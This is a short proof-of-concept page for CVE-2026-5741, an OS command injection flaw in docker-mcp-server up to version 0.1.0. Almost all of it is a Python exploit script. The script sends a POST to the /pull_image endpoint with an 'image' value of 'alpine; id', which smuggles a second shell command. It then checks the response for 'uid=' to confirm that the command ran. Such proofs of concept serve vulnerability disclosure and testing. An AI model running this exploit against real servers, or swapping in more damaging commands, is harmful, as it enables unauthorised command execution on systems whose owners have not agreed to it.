CVE-2026-5741: docker-mcp-server OS命令注入漏洞

import requests # CVE-2026-5741 Proof of Concept # Target: suvarchal docker-mcp-server <= 0.1.0 # Endpoint: /pull_image (or other affected functions) def exploit(target_ip, target_port): url = f"http://{target_ip}:{target_port}/pull_image" # Payload to execute 'id' command after pulling an image malicious_payload = "alpine; id" headers = { "Content-Type": "application/json" } # Attempting to inject command data = { "image": malicious_payload } try: response = requests.post(url, json=data, headers=headers, timeout=5) print(f"[+] Request sent to {url}") print(f"[+] Status Code: {response.status_code}") print("[+] Response:") print(response.text) if "uid=" in response.text: print("[!] Command Injection Successful!") else: print("[-] Exploit failed or output not visible.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "127.0.0.1" exploit(target, 3000)